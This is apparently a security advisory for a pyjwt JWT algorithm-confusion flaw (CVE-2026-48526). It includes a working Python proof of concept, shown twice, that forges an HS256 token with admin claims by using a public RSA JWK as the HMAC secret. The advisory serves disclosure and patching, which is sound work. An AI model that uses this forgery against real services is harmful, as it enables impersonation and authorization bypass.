GHSA-XGMM-8J9V-C9WX
Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-06-15 19:28[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48526"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:28:06Z",
"nvd_published_at": "2026-05-28T16:16:29Z",
"severity": "HIGH"
},
"details": "\u003e [!NOTE]\n\u003e Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[\u2026]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.\n\n### Summary\nWhen the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. \n\n### Details\nIn JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.\nIn pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:\n \n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\n\nAn attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. \nThe attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. \n\nIf we look on current protections implemented in the library, at class HMACAlgorithm:\n\n```\n def prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n raise InvalidKeyError(\n \"The specified key is an asymmetric key or x509 certificate and\"\n \" should not be used as an HMAC secret.\"\n )\n\n return key_bytes\n```\nWe can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.\n\nIn The following example:\n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\nThere is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. \n\nThe bypass happens only if the verifier:\n (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.\n\n### PoC\nPlease run the code and observe the payload printed in clear text({\"sub\":\"alice\",\"admin\":true}\u0027)\n\n```\nfrom jwt.api_jws import PyJWS\nimport json, base64, hmac, hashlib\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# Public RSA JWK (public by design)\nrsa_jwk_json = json.dumps({\"kty\":\"RSA\",\"n\":\"AQAB\",\"e\":\"AQAB\"})\n\n# Attacker-crafted token: flip to HS256 and choose claims\nheader = b64u(b\u0027{\"alg\":\"HS256\",\"typ\":\"JWT\"}\u0027)\npayload = b64u(b\u0027{\"sub\":\"alice\",\"admin\":true}\u0027)\nsigning = header + b\".\" + payload\n\n# Sign with HMAC using the PUBLIC JWK JSON TEXT as the \u201csecret\u201d\nsig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()\ntoken = (signing + b\".\" + b64u(sig)).decode()\n\n# Vulnerable verifier: mixed families + JWK JSON string as key\njws = PyJWS()\nprint(jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"]))\n# -\u003e b\u0027{\"sub\":\"alice\",\"admin\":true}\u0027\n```\n\n\n### Impact\nUnauthenticated token forgery \u2192 full identity/role impersonation at the resource server (authorization bypass).",
"id": "GHSA-xgmm-8j9v-c9wx",
"modified": "2026-06-15T19:28:06Z",
"published": "2026-06-15T19:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.